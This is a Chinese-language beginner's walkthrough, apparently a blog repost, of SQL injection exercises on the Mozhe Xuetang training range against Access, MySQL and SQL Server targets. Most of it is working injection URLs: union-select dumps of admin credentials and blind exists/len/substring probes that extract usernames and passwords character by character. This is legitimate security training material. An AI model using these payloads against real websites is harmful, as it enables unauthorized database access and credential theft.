web训练sql注入-墨者学堂

最近学习web渗透,看了一些基础,找了些把靶场做,新手,操作可能有不对的地方

sql注入入门

一、access数据库

①找到疑似注入点的地方进行and 1=1判断注入

http://219.153.49.228:43491/new_list.asp?id=1

and 1=1 回显正常

and 1=2 回显不正常 判断有注入

②猜字段长度

http://219.153.49.228:43491/new_list.asp?id=1 order by 4

猜字段长度为4

③union select 1,2,3,4 from admin 猜测表面admin回显正常

④union select 1,username,passwd,4 from admin

爆出用户名和密码。MD5解密登陆后台

二、mysql数据库

①也是判断and1=1,and1=2 是否有注入

②猜字段长度

http://ip/?id=1 order by 4

猜字段长度为4

③猜测数据库,用户

http://ip/?id=1 and 1=2 union select 1,version(),database(),4

④猜测表名

http://ip/?id=1 and 1=2 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='数据库‘

⑤猜测列名

http://id/?id=1 and 1=2 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database()

⑥猜测信息

http://ip/?id=1 and 1=2 uinion select 1,group_concat(name,id,password),3,4 from 表名

三、sqlserver数据库(admin,manage)

在SQL中len为获取文本字段中值的长度的函数

0的ASCII码是48,9是57,A是65,Z是90,a是97,z是122


web训练sql注入-墨者学堂_第1张图片
web训练sql注入-墨者学堂_第2张图片

①先判断and1=1,and1=2,是否有注入点

②用order by语句查询字段长度

③http://219.153.49.228:47357/new_list.asp?id=2 union select 1,2,3,4  报错,显然禁用了union查询,使用其他手工注入

④猜测数据表

http://219.153.49.228:47357/new_list.asp?id=2 and exists (select*from admin)

报错,所以没这个表

⑤http://219.153.49.228:47357/new_list.asp?id=2 and exists (select*from manage)

回显正常,说明有这个表

⑥猜测字段

http://219.153.49.228:47357/new_list.asp?id=2 and exists (select id from manage)

http://219.153.49.228:47357/new_list.asp?id=2 and exists (select password from manage)

http://219.153.49.228:47357/new_list.asp?id=2 and exists (select username from manage)

回显正常 说明有这个字段

⑦猜测是否id

http://219.153.49.228:47357/new_list.asp?id=2 and exists (select id from manage where ID=1)

回显正常,说明有id=1

⑧猜测当id=1 username字符有多长

一个一个试

http://219.153.49.228:47357/new_list.asp?id=2 and exists (select id from manage where len(username)=8 and ID=1)

测试完 username长度为8

⑨猜测password字符有多长

http://219.153.49.228:47357/new_list.asp?id=2 and exists (select id from manage where len(password)=16 and ID=1)

⑩判断username第一个字符是什么

http://219.153.49.228:40068/new_list.asp?id=2 and exists (select id from manage where unicode(substring(username,1,1))=97 and ID=1)

97对应的是a所以第一个字符是a

依次判断到8,(password 同理)

用burpsuite的intruder进行爆破

得出账号跟密码

(用sqlmap跑出来的表格是空的,emmmmm)



web训练sql注入-墨者学堂_第3张图片

你可能感兴趣的:(web训练sql注入-墨者学堂)